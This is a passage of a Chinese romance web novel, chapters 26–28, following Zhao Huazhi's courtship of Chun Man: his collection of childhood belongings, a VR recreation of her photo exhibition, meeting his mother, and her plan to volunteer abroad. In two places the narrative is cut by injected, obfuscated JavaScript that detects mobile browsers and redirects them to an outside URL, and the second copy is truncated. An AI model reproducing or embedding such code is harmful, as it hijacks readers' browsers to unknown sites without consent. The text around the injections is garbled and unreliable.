在医院呆了一天,一身消毒水味很难散去,春满不喜欢这个味道,先回家简单收拾了一番,才拿着电梯卡上了楼。 六位数密码核验成功,家里打扫的阿姨循声望过来。没等春满表明来意,对方自顾道:“你称呼我林阿姨就好。接到赵先生电话我把饭菜热了一遍,要现在吃吗?” 春满觉得更局促了,笑了下,说:“可以。” “还有什么想吃的,我再准备。”林阿姨布置好餐桌,说。 现有的两菜一汤,春满一个人吃都铺张了。她忙说:“这些就很好。” 不知道是不是赵华致交代过,春满吃饭时,林阿姨并没有闲聊打扰。等春满吃完,收拾碗筷时,她才适时出现,把活儿接了过去。 春满看了眼时间,也不确定赵华致还有多久回来,便在客厅里陪猫玩了会儿。 林阿姨打扫完厨房卫生后便离开了,赵华致还没回来。 房间里一下子安静下来,猫咪身影灵活,但脚步极轻,春满从地毯上坐到沙发上,逐渐有了困意。 - 赵华致回来时,见家里亮着灯,视线朝家里粗略地扫了一圈,没看到春满。 心底的失落没等涌现,踱步往客厅走时,赵华致发现了侧躺在沙发上睡着的人,嘴角抑制不住地弯起来。 不知道她等了多久,又睡了多久,睡容安详又宁静。 赵华致把睡在春满胳膊上的奶油抱走,帮她掖了掖挡着脸的头发。 手指不小心触碰到她的皮肤,温热、柔软,赵华致贪恋地想再体验一下这种感觉,又怕不知轻重地吵醒她。 视线一寸寸在她眼睫、鼻梁上描摹,最终停在她红润的唇上。 一时间,欲望如开闸放水,一发不可收拾。他不再止步于“想要触碰”这么浅显的状态,身体内仗着“倾慕”作祟的恶性因子,煽动着他“想亲她”的旖旎心思。 赵华致单腿屈膝,以极其虔诚的姿态跪在地上。 他的影子笼罩住熟睡的女人,此地此刻,随便他做什么都不会有人发现。 但赵华致如同对待一件易碎的瓷器般,什么也没做,只是长久地注视着她,很久很久。 久到赵华致以为春满已经熟睡,担心她在沙发上睡得不舒服,想要把她抱去客房休息。 手臂从肩膀下穿过,赵华致没有忘记春满肩膀上的伤,费了些时间才寻觅到一个稳妥的角度,另只手穿过她的膝弯,把人打横抱起来。 看着高挑的人,体重比预想中要轻。 温香软玉靠在胸膛上,赵华致觉得自己心跳的节奏已经失控。 他却恨不得这个过程无限延长再延长。 谁知事与愿违,刚走两步,怀里的人苏醒,因为不适应刺亮的光线皱了皱眉,本能地往赵华致怀里躲了躲。 “吵醒你了?” 听见赵华致的声音,春满才意识到自己在哪里,缓缓睁开眼,望向他,一两秒后,说:“先放我下来。” 离沙发有段距离,赵华致没特意折回去,把她放到地上。 春满刚醒,意识还没完全清醒,以为踩得是地毯,试图站稳才后知后觉自己踩的是赵华致的家居拖鞋。 “不好意思。”春满一着急,脚底打绊踉跄了下。 幸好赵华致拦着她肩膀的那只手还没有撤走,及时扶了一把才避免她摔跤。 赵华致说了句“没事”,反射弧极长地解释道:“我没想做什么,看你睡得熟,想抱你到客房休息。” 春满轻轻地嗯了声,站稳后松开他的手臂,没延伸这个话题。 赵华致看着两人间拉开的距离,比正常社交要近一些,比亲密关系要远一些,问:“医院那边还顺利吗?” 春满赤着脚踩在地毯上,才从方才一系列小插曲中回神,想到自己滞留在他家的原因,正色道:“挺顺利的。谢谢你联系医生。” 27.第 27 章 27 虎皮在猫爬架上上蹿下跳,很是闹腾。 方才被赵华致抱走的奶油黏着春满,赖在她的脚边贴来贴去,春满顺势把猫抱起来,有一下没一下地顺着它的毛。 赵华致做这些不是为了一句感谢:“能帮上忙就行。” “很关键。”春满说。 赵华致盯着她的手看了会儿,视线慢慢移到她的脸上,很是突兀地问起:“会在乎别人的评价吗?” 春满顺毛的动作一顿,虽然很快恢复正常,但赵华致还是注意到了。 “习惯了。更多的是姥姥被这件事情影响而自责。”春满的话让人分辨不出真假,又或者春满对流言的态度属于会介意但不在乎的程度。 赵华致正想着,听见春满问:“你呢?会担心吗?” “什么?”赵华致一时不知道这话指的是什么。担心她,还是担心别的? 春满耐心解释:“你担心自己私生活的话题影响到公司的口碑吗?” “不至于。”赵华致注意到奶油在春满面前格外活泼,正不安分地扒着春满的领口,虽不至于走光,但他一直盯着看属实有些不合适。 恰好此时猫爬架那边虎皮跳跃时脚滑扑腾一下摔到了地上,赵华致循声望过去,继续回春满的问题:“你清清白白的,我没什么可担心的。” 久没听到春满回答,赵华致才把目光移回她身上,倏然笑起来:“担心我?” 春满轻声回了句“没”,顺毛的动作不自知地加快了些。 赵华致抬手,像在医院安全通道里那般摸了摸她的头发,拆穿:“撒谎。” 春满沉默地整理了下被猫扯歪的领口,算是默认。 赵华致没有刨根问底,只是强调道:“不要多想,相信我好吗?如果和你在一起必须付出些代价,那我也甘之如饴。” 春满看向他,赵华致语气轻松道:“好了,不吓你了。你今天忙了一天,早点回去休息。” 春满把奶油放下,猫爪子刚一沾地便要往春满身上贴,赵华致眼疾手快,把猫给捞起来,抬手轻拍了下它的脑袋,心里吐槽:你怎么这么色。 春满往门口走两步,看到厨房里阿姨离开前给赵华致保温着的菜,问起:“不用我陪你吃饭?” 赵华致视线移到她脸上,笑了笑,让人分不清是玩笑还是认真,道:“吃完饭可以留下来睡吗?客房刚打扫过。” 春满没应,只说:“我家就在楼下,又不远。” 赵华致抱着猫,朝她走近些,说:“那还是算了。虽然很想让你陪我吃饭,但你看上去太累了,我不舍得。回去休息吧,我送你进电梯。” 听他这般说,春满便没再坚持。她的确困了,否则也不会等人等得在沙发上睡着了。 电梯间,两人一里一外地站着,门关上前,赵华致说:“明早一起吃早饭?” “可以。” - 春满这些天注意力集中在医院这边,回单位销假已经是三天后的事情。 碰见人事部的员工带着新同事熟悉环境,春满才得知自己不在的这些天,园里发生了不少事。 “谢宴迟那天跟发了疯似的,把吕栋盛给打了。我发给你的那条音频中的男声你应该听出来了吧,就是吕栋盛。所以他这顿揍挨得不怨。”赵昭儿这几天也不怎么过来,听说春满今天上班了,才露了露面,把园区里的八卦说给她听,“那一架打完,吕栋盛自个儿离职了,谢宴迟被他哥带回去关禁闭,之后大概率是不会来烦你了。” 难怪春满觉得大家工作气氛正常了很多,她没关心谢宴迟到底是如何处理的这件事,也没深想吕栋盛和佟向琴是如何联系上的。 归根结底是她个人感情牵扯出的连锁反应,事已至此,便让它过去吧。 春满睨了赵昭儿一眼,玩笑道:“听你语气好像有点舍不得。” “那你可就想错了,看到谢狗被家里关禁闭,我别提多开心了。”赵昭儿哼声,“不说他了,小满姐,周六我生日,你记得来啊!我邀请了很多朋友到家里做客,到时你跟我哥一块过去。” 春满无奈地笑:“记着呢,生日礼物一早准备好了。” - 生日那天,赵昭儿呼朋唤友地叫了一屋子朋友。 春满除了他们兄妹俩谁也不认识,独自坐了会儿,没等觉得无聊,被赵华致叫了出去。 “带你去个地方。”他说。 春满不由得好奇:“去哪里?” “之前答应过你的,我的博物馆。” 说是博物馆,其实是一幢独立的别墅楼,就在附近。 赵华致像是有收集癖一般,把自己从小到大使用过的比较有代表意义的东西先按照种类,然后再按年纪集中收集、展示出来。 用过的手机电脑和游戏机、小说漫画童话书、各种ip的周边。 陆地滑板滑雪双板单板、摩托头盔、赛车模型、乐高手办高达。 足球篮球球鞋、球星签名的队服。 各种型号的单反相机、无人机。 各种比赛的奖牌。 等等。 无一不体现赵华致成长经历的丰富和趣味。 春满逐一看下来,心里最大的感受便是,他是个很长情且认真的人。 经过某个展区时,赵华致在春满发现前,不动声色地把一副展示画翻过去。 结果反倒让春满注意到:“什么?不让看?” 在春满狐疑的眼神注视下,主动把展示画翻转过来。是一副油画,人像,画的是个十七八岁的女孩。 从笔触和画风来看,和周围的几幅画出自同一人之手。再看周围摆着写生用的工具和全套颜料,不难猜到赵华致过去学过油画,这些画都是他的作品。 意识到这点,春满不由得重点观赏这幅人像,好奇地看向赵华致,大胆地猜测:“前女友吗?” “没有前女友,我画着玩的。”反正被春满看到了,赵华致也没瞒着,他把画拿起来隔空摆在春满旁边对比了一番,实诚道:“说出来你可能难以理解。这是我遇到你之前的理想型。” 确实很少有人把自己的理想型画出来。这种标准不该是很模糊的概念吗?春满一时被逗笑,指了指画上的人,问:“你是依据什么画出来的?” “记不清了。”赵华致仔细回忆一番,确实没找到原因,只笼统地说,“我父母感情很好,对我们兄妹的教育比较开放,我不说很早便开始期待爱情,也是比较早熟的那类人。进入青春期后经常被问到‘你喜欢什么样的女生’或者“没有遇到喜欢的女生吗”之类的,被问得多了,我就开始思考自己未来的女朋友会是什么样子的。于是就有了这幅画。” 春满重新打量这幅油画。 与其说画的是一个人,不如说画的是一种感觉。没有具体的五官,连轮廓都是不清晰的。 春满目光落回赵华致身上,问:“你觉得我和她很像?” 赵华致斩钉截铁:“不像。” 春满只觉疑惑,没等发问,赵华致继续说:“正因为不像,所以我没敢相信自己对你一见钟情。我先是把对你的感情定义成对‘救命恩人’的感激,然后变成对‘你为什么装作不认识我’的困惑。” 说着,赵华致把展示画放回去,就像放下一段人生,“我用了很久才推翻这个既定标准,认清自己的心。” 春满若有所思半晌,发问:“有没有可能我也不是对的人?” 赵华致打断她的质疑:“这个问题只能交给时间来验证了。” “你说得对。”春满被说服,认同地点点头,没在这里过多留恋,视线继续看别处。 又逛了会儿,春满来到一个四面墙壁都是空白的房间,角落的圆台上摆着一套VR设备。 “这里是什么?”春满看向赵华致时,发现他的神态有些沉重,严肃得春满开始思考自己是不是不该问。 赵华致没回答,只是走过去拿起圆台上的眼镜,问春满:“你要看一下吗?” 春满觉得如果赵华致不想分享她不看也没关系,但此刻看他的反应,一时也难以分辨他到底是希望她看还是不希望。 “这应该是你很熟悉的一个场景。” 听到赵华致介绍的声音,春满才意识到自己已经走到他面前。 “那我可得好好看看。”春满故作轻松地调侃道,接过VR眼镜套到头上戴好。 摄影展的场景映入眼帘时,春满下意识想把眼镜摘下来。 这是春满大四毕业那年的一场摄影展,也是她最看重的第一场摄影展。 她在那天拥有着欣欣向荣的事业和羡煞众人的爱情,她对场馆里每一个细节都记忆深刻。 她抬步,行走在不同展区,发现虚拟场景中的每一处都跟记忆中一模一样。 房嘉恺向她告白的位置更是被特定标记过,地板上摆着一束鲜花。 春满被那束花牵引着走近,看到花朵间插着个便签牌。 上面的祝福语被涂黑,只有一个落款干干净净——赵华致。 春满摘下眼镜后,等不及适应现实中的光亮,眯了眯眼,望着赵华致的方向,问:“你怎么知道这场摄影展?” 赵华致靠在圆台上,视线始终尾随着她,却一直在发呆。听到春满的问题,才慢吞吞回神:“我知道很奇怪吗?” 春满走回来,把眼镜放回去:“花放的那个位置……你当时也在场?” 赵华致干脆地应了声“是”,陈述道:“我回国找你,但回来得太晚了。” 春满不知为何又想到春天星恒团建时,赵华致隔着人群看向自己的眼神。 当初只当是意外,原来那道目光存在已久,只是她从未回头看。 春满不知道该如何定义这种感受,多年来被人暗中注视着、等待着,究竟是一种什么样的待遇,她是该荣幸、还是该惶恐? 但她知道,赵华致比自己以为的要擅长忍耐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680442|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对这份漫长的告白,她又该如何回应呢? 春满暂时想不出答案,自我逃避般,换了个话题,问:“卡片上被涂掉的是什么内容?” 春满看向他,问,“可以说吗?” “我忘记在上面写了什么,应该是几句祝福的话,什么甜蜜幸福,长长久久吧。写完发现不太想祝福你们,便涂掉了。” “没想到你这么幼稚。”春满调侃的话说到一半,撞上赵华致深沉寂静的眼睛,也跟着严肃起来,“干嘛这样看着我。” “我如果早点看清对你的感情就好了。”赵华致伤感地说。 “说不准结果还是一样的,你那时候应该没时间好好追人吧。”春满故作轻松地缓和气氛,“而且我那时候不喜欢你这种家庭的人。” 赵华致也想过这种可能,顺势问:“现在愿意接受吗?” 愿意接受吗? 这世上绝大多数人,随着年纪的增大,逐渐承认自己是个普通人。而春满觉得自己不一样,她越长大越清醒,认为所有人都是平等的,没有谁比谁高贵,谁天生低人一等。 就像赵华致过去迟迟没办法推翻自己的既定理想型一般,她也不知道自己愿不愿意接受。 但她觉得自己有勇气挑战。 她敢承担接受后一败涂地的后果。 也可能是艺高人胆大,又或者是赵华致身上有一种让人不想草率错过的魔力。 一旦错过,春满大概再也遇不到,如他一般深情的人了。 “春满,我觉得你和那幅画上的人是有些像的。”赵华致垂眼盯着她,毫无征兆地出声。 “哪里?”春满问 赵华致声音紧绷而干涩:“嘴唇。” 春满睫毛颤了颤,隐约猜到他想做什么。 赵华致喉结微滚,想问她能不能亲。 眼看两人的距离缩小,即将清零,空旷房间里突然乍响的手机铃声打断了这个可能。 春满慌忙地移开视线,翻找自己的手机,发现不是自己的来电。 赵华致面上露出被打搅后的不甘,拿出手机看到来电人时,其中气愤的情绪更强烈一些。 “你最好有很重要的事,否则你死定了。” “干嘛干嘛啊,你怎么态度,今天我生日诶。”手机没开免提,春满都能听到赵昭儿咋呼的声音,“你跟小满姐离开了吗?还没吃蛋糕呢……” 声音逐渐正常,再多春满便听不清了。 赵华致对电话那头说了句“没走远,我问问她”便把电话挂了。 春满没等他问自己,见他结束通话,率先发问:“是叫我们回去吗?” “要切蛋糕了,想吃吗?”赵华致认真地盯着春满,这眼神让春满想到方才那个小意外。 她不动声色地别开眼,应了声“好,回去吧”,左右张望着寻找出口:“该走哪边?” 反正来日方长,赵华致不急在一时。他拉住春满的手,带着她朝左边的通道走:“跟着我。” 春满抬步的同时,垂眼盯着自己被他拉住的手,心说想不跟着都难吧。 来到室外,往回走的时候,赵华致突然提起:“稍等一下,有件事想跟你说。” 春满以为他指的是方才未遂的吻,没给他说下去的机会:“赵赵还等着,等结束再说,可以吗?” 事态的发展速度远超春满预期,以至于此刻冷静下来,春满没了方才冲动之下的勇敢。 赵华致看春满一眼,顺从道:“行,你记住这是你说的。” 春满没深想他这句话有何意义。 回到赵昭儿的派对,进房间前,春满仿佛才想起来一般,挣开被赵华致牵着的手。 一路走来,这只手仿佛不是自己的一般。 赵华致没说什么,把门推开,热闹的聚会气氛如翻涌的潮水,把他们两个人吸纳、包裹。 “哥!小满姐!你们终于回来了。”赵昭儿第一时间注意到这边,热情地呼唤着他们。 房间里人本就多,春满一眼看过去,原本是不该注意到多了谁少了谁的。 但多出一位打扮华贵,看上去虽年轻,但姿态气场分明比在场所有人都不一般的女人,春满还是发现了的。 那人站在赵昭儿旁边,不知问了她句什么,正笑盈盈地盯着春满。 春满抿着礼貌得体的社交笑容,直到听见一旁的赵华致冲对方喊了声“妈”,她脸上的笑出现一丝不自然。 赵华致想往里走时,注意到春满站在门口没动,关切道:“怎么了?” 春满埋怨地瞪了赵华致一眼,赵华致能看穿她一般,无奈地笑着,用只有她能听到的声音,说:“刚刚想告诉你的,但你拒绝了。” 春满有苦说不出,突然想起赵昭儿说她妈妈很想见自己一面,不知道是确有其事还是胡诌的。 “你不用放在心上,她来给赵赵送蛋糕,不是为咱俩的事。”赵华致摸了摸春满的头发,把人往里带,“好了,进去了。” 28.第 28 章 28 春满还在犹豫要不要特意和邓婕妤打招呼时,人已经被赵昭儿热情地挽着胳膊拽过去。 “妈,这就是小满姐。” 春满赶鸭子上架,没敢往赵华致那边瞟,及时喊人:“阿姨您好。” “好好,比照片还要好看。”邓婕妤打量她一番,如是说。 照片?听到这,春满才朝赵华致看了眼,眼神疑问。 赵华致嘴型无声地喊冤:不是我。 春满不知道照片的责任是谁,反正让她骑虎难下的责任肯定在他。 “赵华致如果敢让你受委屈,你就跟阿姨说,阿姨替你收拾他。” 听到邓婕妤这般说,春满及时纠正:“阿姨,您可能误会了,我们不是你想的那种关系。” “啊?还没追上?”邓婕妤视线在春满和儿子身上转了一圈,温柔地对春满说,“一看就是他不够努力,我回头批评他。” “……”春满只能赔笑,此刻说什么都不合适。 吃完蛋糕,生日派对便到了尾声。赵昭儿和朋友还有其他活动,春满没参与,和赵华致提前走了。 到了车里,春满还在回味方才的窘迫:“太尴尬了,你刚刚都不替我解释两句。” 赵华致有条不紊地发动车子:“我们是哪种关系,你就让我帮你说话?” 一听便是计较方才春满在邓婕妤面前说的话。 春满歪着头,好整以暇地打量开车的人,问:“着实有些好奇,你是不是有什么隐疾?否则阿姨为什么会担心你的感情状态。” 赵华致轻飘飘地扫了她一眼:“我不介意让你检验一下。” “检验什么?” “你想验什么就验什么。” 反应过他在说什么,春满噎声,半晌后,冷静提醒道:“赵总,专心开车。” “我正开着呢。” 隔了几秒,赵华致继续说:“我妈从我高中就开始催着我早恋,让我带喜欢的女生回家做客。她就是这个性格,你不用放在心上。” 春满不是在这样的家庭环境中长大,但理解这样的状态。 她偏头看向窗外的城市街景,形容不出自己内心是种什么感觉。 说是不会因噎废食,但有幸感受过佟向琴的温柔,也吃过她的教训,再遇到邓婕妤,春满很难轻易地交付真心。 赵华致和房嘉恺不一样。 但,春满顾虑,很多事总归是大相径庭的。 “你父母朋友的孩子没有和你年龄相仿,走得近的异性?”春满问完才敢看他。 赵华致把车开出主干道,绕过花坛停在大厅外,接住她的视线,回答:“我不是房嘉恺。” 赵华致知道她所思所想,春满没说话。 有泊车员上前接待,赵华致把车钥匙交给对方。 春满下车后,发现这里是酒店,怔了下,去看赵华致:“来真的?” 赵华致从车前绕过来,带着她往大厅走,只是笑,故意不回答她。春满脚步没停,但话先说清楚:“先说好,我这段时间是渣女人设,只占便宜不会负责。” 在春满边走路,边一瞬不瞬地注视下,赵华致把她的脑袋正回去,回道:“想的美。带你去顶楼餐厅吃饭。” 春满哦了声,被戏弄后心情不爽,做作地嘀咕道:“真遗憾,还以为能白嫖呢。” 赵华致斜了春满一眼,顾忌旁边有人经过,没回她。 顶楼可旋转的玻璃餐厅,一桌难求,赵华致订了最佳观景位。 未免出现前几次的小插曲,两人入座后,赵华致提前问:“之前和房嘉恺来过这家餐厅吗?” 春满还记得方才被戏弄的梁子,故意语气雀跃地说:“来过啊。” 不过这也是实话。房家做餐饮生意,一家人都爱吃,北央及周边城市大大小小的餐馆他们都一块打卡过。 赵华致来了兴致:“上次点的什么?” 春满菜单都没看,直接报了几样菜名。 赵华致蹙眉:“记得这么清楚?” 赵华致翻了翻菜单,没看到春满说的那几样。问服务生:“换过菜单吗?” 得到否定的答案,赵华致适才意识到春满在骗自己。 赵华致曲着手指扣了扣桌子,很有威势的样子,提醒道:“春满,最好别挑衅我,这家酒店常年给我留一间套房。吃完饭我们就能直接过去。” 春满一时被唬住,手指捏在嘴边做了个拉拉锁的动作。 隔了会儿,两人点完菜。春满才补充说明:“确实来吃过。”说着她稍稍偏身,朝某个座位一指,“在那个位置。” 赵华致冷哼:“早晚取而代之。” 春满怎么会不知道赵华致在意什么,正色道:“记忆短时间内是没办法抹掉了,不过今天之后我对这家餐厅的最新记忆便是和你在这里吃了一顿晚餐。如果现在来一曲小提琴表演的话,我应该记得更深刻。” 赵华致很容易被哄好:“想听什么?” 春满:“都可以。” 赵华致把刚离开的服务生重新叫回来,让她去准备小提琴。 春满以为会是餐厅有的小提琴演奏服务,谁知服务生只取了把小提琴送来。 看着赵华致接过,起身,把小提琴架在肩膀上的动作,春满瞠目结舌:“你来?” “可能有点生疏,不要介意。”赵华致如是说。 赵华致形象好,范儿很正。他选的曲目是《My Heart Will Go On》,我心永恒。用生疏来形容简直是谦虚,他站在那里演奏,不止春满移不开视线,周遭就餐的客人陆续望过来。 这一幕实在是养眼,不乏有客人举着手机录像的。 春满听得正陶醉,搭配着玻璃餐厅慢速旋转的感觉,仿佛置身在大海中央。 这种感觉刻骨铭心。 “这下真的忘不掉了。”距离演奏结束已经过去一顿饭的时间,春满仍觉得这首曲子在耳边回荡,因此如是感慨道。 “那我争取尽快覆盖掉你剩余的记忆。”赵华致回道。 - 赵昭儿和谢宴迟陆续淡出园区同事们的话题,春满一时觉得日子无聊了很多,平静中萦绕着一种离别的伤感。 随着救护中心聘请到接替春满工作的主任,春满开始交接自己手头上的工作,自己离开的日子越来越近。 直觉告诉她,该跟赵华致说一下自己接下来的安排,但一走便是大半年,还不是在国内,着实很难开这个口。 时间流逝,每一天过得都很快。 春满和赵华致相处得越融洽,越找不到开口提离开的时机。 直到有一天早晨,春满的车子送去保养,赵华致送她去上班。 车子停在动物园保安亭外,春满下车时没注意包里的随身本不小心掉落出来。 随身本的磁吸扣没扣住,赵华致捡起来,看到了上面的内容。 是春满的日程本,有日期有地点,以及一些注意事项和规划。 赵华致翻了几页,脸色越发凝重。他适可而止地合住,下车追上春满。 “你有东西掉了。” 春满道谢,收好放回包里。 赵华致还完东西却没急着走,他盯着春满看了好一会儿:“刚才不小心看到里面的内容。”他怕知道答案,又怕不知道答案,接下来的问题问得很小心。 “你最近要去非洲?” 春满应了声“是”,心说终于聊到这件事了。 “去多久?”赵华致又问。 春满:“至少半年。” 半年。赵华致在心里重复这个时间跨度,从得知她恢复单身在度假村遇见开始算,至今都不到一个季度。 说不难过是假的。春满之前说需要时间考虑两个人的关系,如今虽未回答,但行动似乎已经说明了决定。 有同事路过和春满说话,是工作的事,打断了赵华致没有说出口的话。 “去吧。”他改口放人,也不知指的是哪件事。 “那我先去上班。”春满虽有踟蹰,但还是抬步和同事并行。 工作闲暇时,春满翻了翻自己的随身本。里面的笔记内容最早记录于一年前,期间中断过,和房嘉恺分开后,她调整自己的生活节奏时,把这本随身本找出来,继续推进这个曾被搁置的计划。 重启这个计划时,她还不知道赵华致喜欢自己,也没想过近乎无缝衔接地进入一段新的感情。 身后有同事端着水杯经过,春满把随身本合住,收到了通勤包的最底层。 赵华致一整天没联系她,春满下班后,在小区车库也没有看到他的车子。春满回到家,一个人站在厨房流理台前,毫无做饭和吃饭的欲望。 她犹豫之下,拿出手机,主动联系赵华致。 “今天有阿姨做的饭吃吗?” 赵华致不算秒回,但也属于回复得很及时:“想吃什么?我让阿姨现在过去。” 春满百爪挠心的焦灼感得到有效地安抚,报了几个家常菜,并问:“你回来一起吃吗?” 这次赵华致回复得间隔有些久。 春满捧着手机,唇角被她咬得泛起深红的血色。 “工作还没结束,回去要很晚。” 很快又一条,赵华致交代道:“阿姨出发了,你半小时后可以上楼。” 春满回了句“好”,没说别的。 手机屏幕光熄灭,黑漆漆的屏幕映出春满凝重而无措的神色。 - 另一边,赵华致在特助的注视下放下手机。 特助不动声色,只有他知道老板今天一整天都在看手机,心事重重的样子,不知情的还以为赫京明天就要破产了。 眼看着老板脸色缓和如常,特助没等庆幸,只听对方问到:“未来半年有非洲的业务需要扩展吗?” 特助怀疑自己听错了,茫然地确认道:“非洲吗?” 赵华致随即意识到自己颇有些慌不择路的狼狈,在心里自嘲地笑了下,说:“没事。” 赵华致结束工作已经是夜里,他驾车回到小区,搭乘电梯上楼时,盯着七楼的按钮犹豫半晌,最终没选择打扰。 电梯在八楼停住,赵华致迈步出去,开门进家门。 阿姨做完饭便离开,但此刻家里的灯还亮着。赵华致记起上一次回来家里亮灯的情形,几乎是本能地朝客厅沙发区望去。 像是时光回溯一般,赵华致看到抱着抱枕躺在那等睡着的春满。 赵华致放轻了脚步,把房间的灯光换成小憩模式。 眼前的光逐渐暗下去,停在一个勉强看清事物的程度。赵华致却觉得此刻春满越显眼了。 家里中央空调正在运行,输送着凉风,赵华致把掉到一旁的毯子给她盖好。 等盖好撤手前,赵华致没忍住,抬手帮她整理了下散开头发。 春满这次睡得很轻,不需要多大的噪音,便醒了过来。 她大概是觉得痒,抬手摸到赵华致没来得及收回的手,然后顺着手腕手臂,一路摸索到肩膀,碰到了他的脸侧,最后停在他耳朵处。 赵华致觉得自己的耳朵很快被她揉红了,明明这双手柔软温暖,刚睡醒根本没什么力气。 赵华致想抬手捉住这只不安分的手,但浑身过电一般的不自在,手臂迟迟没能抬起来。 “看清我是谁了吗?”赵华致嗓音低沉沙哑,好似不愿意醒来的是他。 春满睁着眼,定睛打量他,认真又正经地反问:“不能摸吗?” “我怕你认错了人。” 一句无心的话,让春满收了手。她从沙发上坐起来,垂着眼找拖鞋。 拖鞋不知被踢到哪里,春满一时没找见,连带着语气都变得不耐烦起来:“我在你家,能把你认成谁?” 赵华致把被自己挡着的白色家居拖鞋拿过来,摆在春满脚边:“抱歉,我说错话了。” 春满却没穿,怄气地抬脚踢了下。鞋子撞到赵华致的膝盖,春满眼底溢满明晃晃的质问:“赵华致,我在你眼里是什么人?” 手被赵华致拉住,春满看过去,耳畔是赵华致的保证:“我以后不提他了。” 春满没说话。 舅妈误会她,姥姥误会她,连满郁都在说,你跟你爸一样。 无心也好,有意也罢。春满听到这样的话心里不舒服。 很不舒服。 她明明什么也没做,这个世界根本没有给她选择的机会。 “我想回家了。”赵华致攥得没用力,春满很轻易地把手抽回来。她穿好拖鞋,缓慢起身,如是说。 赵华致起身,追到门口。春满闪身躲避,丢下一句“别追上来”,在鞋柜旁换回自己的拖鞋,径自进了电梯。 眼看着电梯门掩住,赵华致再去按开门键时,电梯已经下行。 赵华致一边懊恼方才没有强行把人留下说清楚,一边急切地等电梯升上来。 间隔一两分钟,赵华致追下去,叩响春满的家门。 一声、两声。一遍、两遍。春满仿佛没听见一般,迟迟没有开。 一门之隔的室内,春满正在浴室哗啦啦的水流声中给猫洗澡,的确没有听到敲门声。 她心烦意燥,做起事来容易出差错。眼看着不愿洗澡的猫在浴室里跑酷,春满被溅得一脸水,毫无成就感地靠在一旁叹气。 她去拿了手机,决定先把和赵华致的事情解决了,再搞定猫。 消息编辑完,正准备搁下手机,春满接到了值班物业的电话,说有她的快递送达。 春满记起是猫粮,便让对方放到门口,自己费了些功夫给猫洗完澡,吹干毛,然后自己去冲了个澡,干净利索地开门取快递。 她没想到赵华致在门外。 方才物业送快递上楼看到他还以为自己走错了楼层,确认后狐疑且不失礼貌地询问他是否需要帮助。 赵华致在斟酌后,拒绝了他的帮助,一直等到现在。 春满看看赵华致脚边的猫粮快递,再看看他,问:“看到消息了?” “你刚刚给我发消息了?抱歉,我手机在家里没带出来。” “你……”春满不知道他等了那么久,只说,“先进来吧。我刚在洗澡,没听到门铃声。” 春满打算待会儿再搬猫粮,赵华致主动提及:“帮你把这个搬进去?” “不用。”春满怕拒绝给人的观感太无情,补充解释道,“家里猫粮储存在外面的柜子里,不用搬。” 赵华致嗯了声,没再说什么。 春满刚洗过澡,穿着清亮的吊带裙,半干的头发铺散开,身上沐浴香氛的气味格外浓郁。 赵华致擦肩而过时,被这种香甜的味道勾得心痒难耐。 回到屋里,春满刚要说什么,注意到卫生间哗啦啦的水流声响,过去查看才发现是猫自己开了水龙头。 半小时前对洗澡无比排斥,春满为了给它洗个澡费了九牛二虎的劲儿,好不容易给它洗完把毛吹干,它却对洗澡上瘾,自己开了水龙头跳进了盥洗盆里,欢快地“淋浴”。 “……”春满气得想骂人。 她把水龙头关了,猫捞出来,拿毛巾和吹风机。 一时间,春满手忙脚乱地,没提防吹风机脱手,直直地砸到她的脚趾。 在春满吃痛地闷哼声后,赵华致及时出现,捡起吹风机,并从她手里接了毛巾:“我帮你吧。” 春满没有再拒绝,说:“你小心一点,它可能不太配合。我去拿猫条。” 猫在赵华致面前比春满想象得要配合,等她拿着猫条回来,看赵华致已经给它擦干了毛,插吹风机的接头。 “你在消息中说了什么?”赵华致看她一眼,问。 春满拆了猫条,吸引猫猫的注意力,说:“说我去做国际志愿者的事。” 估计是摔那一下,误碰到了吹风机的开关。电源刚一接通,呼呼呼的吹风声影响了两人的正常沟通。 赵华致把吹风机关掉,示意她继续说。 春满往外挤了挤猫条,言简意赅地总结:“我做这个计划时,还不知道你的感情,只是想换个环境散散心,而且国际志愿者是我很久之前就想做的事,不是为了躲着你。” “好,我知道了。”赵华致说不出挽留的话,但任她天高海阔的远离又担心就这么疏远了,他捞过猫,开了热风模式吹了一分多钟,出声问:“一定要去?” “想去。”春满实话实说。 吹风仍在继续,一问一答,彼此都能听到,又好像都没听到。 “那我怎么办?”赵华致没关吹风,抬头看她。 怎么办? 春满知道他想要什么答案。 可能是方才在楼上的小插曲,让春满不想回答。 吹风机角度偏移,热风呼呼的朝着赵华致的腰腹吹去。他可能没感觉,春满不经意注意到,眼神中闪过一丝不自在。 他只穿一件白衬衣,衣料被溅上水,虽不算透,但热风吹得衣料紧贴在他皮肤上,质地柔软的衣料紧密地贴合着他腹肌起伏的线条,轮廓若隐若现。 衣料被不断输送的热风吹得像湖水一般荡漾,春满莫名地大脑一空,大概是排卵期到了,激素作用下身体反应很不对劲。 在被赵华致抓包前,春满率先别开视线,丢下一句“我去倒杯水” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵华致捏住她的手腕,顺着细长的手臂一寸寸往上移,很快抚上她的颈侧。 给猫吹干毛后洗过的手稍稍回温了些,但春满仍觉得有些凉。他缓慢地摩挲着她的皮肤,朝耳廓移动,很快手指穿进她的发,拇指碾压过她的耳垂。 春满那会儿如何对他,他便一一还回去。 春满耳朵不敏感,但他的触碰太新鲜,加之朦朦胧胧看过的腹肌不受控制地浮现在脑海里,稍微发酵,便变了质。 春满心态有些不稳,逞强地把自己一系列的反应归咎为激素作用。 春满想离危险远一点,但身后是水吧台,退无可退,刚看了他一眼,就被他提醒:“瞪我也没用,你先的。” 